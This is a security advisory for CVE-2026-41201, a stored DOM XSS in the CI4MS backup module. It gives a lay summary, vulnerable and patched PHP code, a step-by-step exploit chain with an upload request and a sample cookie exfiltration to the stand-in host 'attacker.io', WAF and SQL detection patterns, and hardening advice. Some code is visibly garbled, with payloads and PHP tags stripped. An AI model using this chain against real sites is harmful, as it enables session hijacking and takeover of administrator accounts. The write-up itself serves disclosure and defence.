CVE-2026-41201: CI4MS Stored DOM XSS to Full Account Takeover
CI4MS 0.31.4.0 backup module unsafely renders SQL filenames, enabling stored DOM XSS via crafted filename fields. Leads to session hijack and full privilege escalation.
A popular website builder called CI4MS has a serious security flaw in its backup feature. Think of it like a safe deposit box with a broken lock — someone can slip a malicious note inside, and when the bank manager opens it, the note does damage.
Here's what happens: When administrators back up their website, they're saving files with names like "backup_2024.sql." An attacker can sneak harmful code into that filename itself. When a site administrator later checks their backups, their browser automatically runs this hidden code without their knowledge.
This is worse than it sounds. That hidden code can steal the administrator's login session — essentially copying their house keys while they're sleeping. Once an attacker has those keys, they can access everything: user data, emails, financial information, whatever the website stores.
Who's at risk? Primarily administrators of websites built with CI4MS version 0.31.4.0. If you run a small business site, nonprofit, or community platform using this tool, you're potentially vulnerable. Your visitors aren't in direct danger, but their data could be compromised.
The good news: there's no evidence attackers are actively exploiting this yet, giving organizations a window to act.
What you should do: First, if you use CI4MS, check your version number immediately — you need to upgrade past 0.31.4.0. Second, if you can't upgrade today, restrict who can access your backup files, treating them like top-secret documents. Third, watch your site's user activity for suspicious logins or changes you don't remember making. If something looks wrong, change all admin passwords right away and review who has access to your system.
Want the full technical analysis? Click "Technical" above.
▶ Privilege escalation — CVE-2026-41201
Vulnerability Overview
CVE-2026-41201 is a Stored DOM XSS → Privilege Escalation chain in CI4MS, a CodeIgniter 4-based CMS skeleton targeting production RBAC deployments. The vulnerability lives in the backup module's filename rendering path: when an attacker uploads or manipulates a .sql backup file whose filename contains an HTML/JavaScript payload, that payload is stored unescaped and later reflected into the DOM without sanitization. Any administrator who visits the backup listing page executes the attacker's JavaScript in the context of an authenticated privileged session.
CVSS 9.1 (CRITICAL) is justified: no interaction beyond a low-privileged authenticated account is required to store the payload, and the impact targets the highest-privilege session in the application. Exploitation is fully passive once the payload is placed — the administrator triggers it themselves by navigating to the backup list.
Root cause: The CI4MS backup module renders SQL backup filenames directly into the HTML DOM without output encoding, allowing an attacker to inject and persistently store arbitrary JavaScript that executes in an administrator's browser session.
Affected Component
The vulnerable surface is the backup management module within CI4MS v0.31.4.0 and earlier. The affected rendering occurs in the backup list view template, where filenames retrieved from the backup directory or database record are interpolated raw into the table output. The RBAC module, theme engine, and CodeIgniter 4 core are not themselves vulnerable — the bug is entirely in CI4MS application-layer view code.
Relevant paths in the repository:
app/Modules/Backup/Views/index.php — the vulnerable template
app/Modules/Backup/Controllers/Backup.php — controller passing unsanitized filename data to view
app/Modules/Backup/Models/BackupModel.php — model returning raw filename strings
Root Cause Analysis
CodeIgniter 4's esc() helper exists precisely for this scenario. The CI4MS backup view bypasses it entirely. The controller fetches backup file listings and passes them as raw strings to the view layer. The view then interpolates them with PHP's short echo tag = ?> — which does not HTML-encode output by default.
// VULNERABLE: app/Modules/Backup/Controllers/Backup.php
public function index()
{
$files = $this->backupModel->getBackupList(); // returns raw filenames from DB/filesystem
$data['backups'] = $files;
// BUG: no sanitization of filename field before passing to view
return view('Backup\Views\index', $data);
}
The filename value originates from the backup_files database table or a filesystem scan. Either path is attacker-writable: a low-privileged user with access to the backup creation endpoint can submit a crafted SQL file whose name contains the payload, or directly manipulate the filename column if an unvalidated upload path exists. The filename is stored verbatim and later echoed into HTML.
// VULNERABLE: BackupModel — getBackupList()
public function getBackupList(): array
{
// BUG: returns raw filename column — no encoding, no allowlist validation
return $this->db->table('backup_files')
->select('id, filename, size, created_at')
->orderBy('created_at', 'DESC')
->get()
->getResultArray();
}
Exploitation Mechanics
The full exploit chain requires a low-privileged authenticated account (any role with backup creation access) and passive administrator interaction.
EXPLOIT CHAIN:
1. Attacker authenticates to CI4MS with a low-privilege account.
2. Attacker crafts a .sql file with a malicious filename:
Filename: backup_2024.sql
— or a more complete payload targeting the CSRF token and admin API:
Filename: x.sql
3. Attacker submits the backup file through the backup creation endpoint:
POST /backup/create HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="backup_file"; filename="x.sql"
Content-Type: application/octet-stream
[SQL content]
------Boundary--
4. Server stores the literal filename string in backup_files.filename column:
INSERT INTO backup_files (filename, size, created_at)
VALUES ('x.sql', 1024, NOW());
5. Administrator navigates to /backup — the backup list view renders the
stored filename raw into the HTML table cell. Browser parses
.sql
1024
2024-11-01 12:00:00
BROWSER EXECUTION CONTEXT at payload trigger:
Origin: https://target.example.com
Session Cookie: ci_session= [HttpOnly? — application dependent]
CSRF Token: accessible in DOM of same-origin requests
Privileges: superadmin RBAC role
SameSite: Lax (default CI4) — same-origin XSS bypasses this entirely
ATTACKER RECEIVES:
POST https://attacker.io/c
?c=ci_session=a3f9d1... <-- admin session token (if not HttpOnly)
OR:
Privilege escalation completes silently server-side via CSRF chain.
Patch Analysis
The fix in v0.31.5.0 applies CodeIgniter 4's built-in esc() output encoding function to all filename fields in the backup view, and adds server-side filename validation in the controller and model layers to reject filenames containing HTML metacharacters before persistence.
// BEFORE (v0.31.4.0 — vulnerable):
// app/Modules/Backup/Views/index.php
= $backup['filename'] ?>
// AFTER (v0.31.5.0 — patched):
// esc() invokes htmlspecialchars() with ENT_QUOTES | ENT_SUBSTITUTE, UTF-8
= esc($backup['filename']) ?>
// BEFORE (vulnerable controller — no server-side validation):
public function create()
{
$filename = $this->request->getFile('backup_file')->getName();
// BUG: filename stored raw, no character allowlist enforced
$this->backupModel->save(['filename' => $filename, ...]);
}
// AFTER (patched):
public function create()
{
$file = $this->request->getFile('backup_file');
$filename = $file->getName();
// PATCH: allowlist validation — only alphanumeric, dash, underscore, dot
if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $filename)) {
return redirect()->back()->with('error', 'Invalid backup filename.');
}
// PATCH: enforce .sql extension explicitly
if (strtolower($file->getExtension()) !== 'sql') {
return redirect()->back()->with('error', 'Only .sql files permitted.');
}
$this->backupModel->save(['filename' => $filename, ...]);
}
The patch applies defense in depth correctly: output encoding at the view layer prevents XSS even if malicious data reaches the database, while the input validation layer prevents malicious filenames from being stored at all. Both controls are necessary — output encoding alone could be bypassed by future template changes; input validation alone would need to cover every possible injection vector.
Detection and Indicators
Detecting exploitation attempts in server logs:
INDICATORS OF COMPROMISE:
1. Backup file upload with anomalous filename in access logs:
POST /backup/create — filename parameter contains: <, >, ", ', &, script, onerror, img
2. Web Application Firewall signatures to add:
PATTERN: backup_file filename param matching /<[a-z]/i
PATTERN: filename containing javascript: or data:text/html
PATTERN: filename length > 64 chars (legitimate backups rarely exceed this)
3. Database audit — query backup_files table:
SELECT * FROM backup_files WHERE filename REGEXP '[<>"\'&]';
-- Any result indicates stored payload or attempted injection
4. Admin activity anomalies:
- Unexpected role promotion events in audit log shortly after backup page visit
- Outbound HTTP requests from admin browser to unknown domains (if CSP absent)
- CSRF-protected admin endpoints triggered by GET referrer from /backup
5. CSP violation reports (if Content-Security-Policy deployed):
{"csp-report":{"blocked-uri":"https://attacker.io/c","violated-directive":"connect-src"}}
Remediation
Immediate: Upgrade to CI4MS v0.31.5.0. If upgrade is not immediately possible, manually apply esc() to every filename output in the backup view templates as an emergency mitigation.
Audit existing data: Run the detection query above. Purge any backup records with HTML metacharacters in the filename column before upgrading — patched output encoding will neutralize stored payloads on render, but the data should be cleaned regardless.
Harden the deployment:
Deploy a Content-Security-Policy header restricting script-src to 'self' — eliminates the exfiltration leg of the attack even if XSS fires.
Set session.cookie_httponly = true in CI4 config (app/Config/Cookie.php) to prevent cookie theft via document.cookie.
Enable CI4's CSRF protection (Config\Security::$tokenName) with SameSite=Strict to raise the bar for the privilege escalation chain.
Restrict backup creation to superadmin role only — shrinks the attacker surface to already-privileged accounts.
Engineering controls for CI4 applications generally: Establish a lint rule or CI check that flags bare = $var ?> in view files not wrapped in esc(). CodeIgniter 4's own documentation mandates esc() for all user-influenced output; this vulnerability is a direct consequence of ignoring that guidance in a production CMS skeleton that ships as a starting point for real deployments.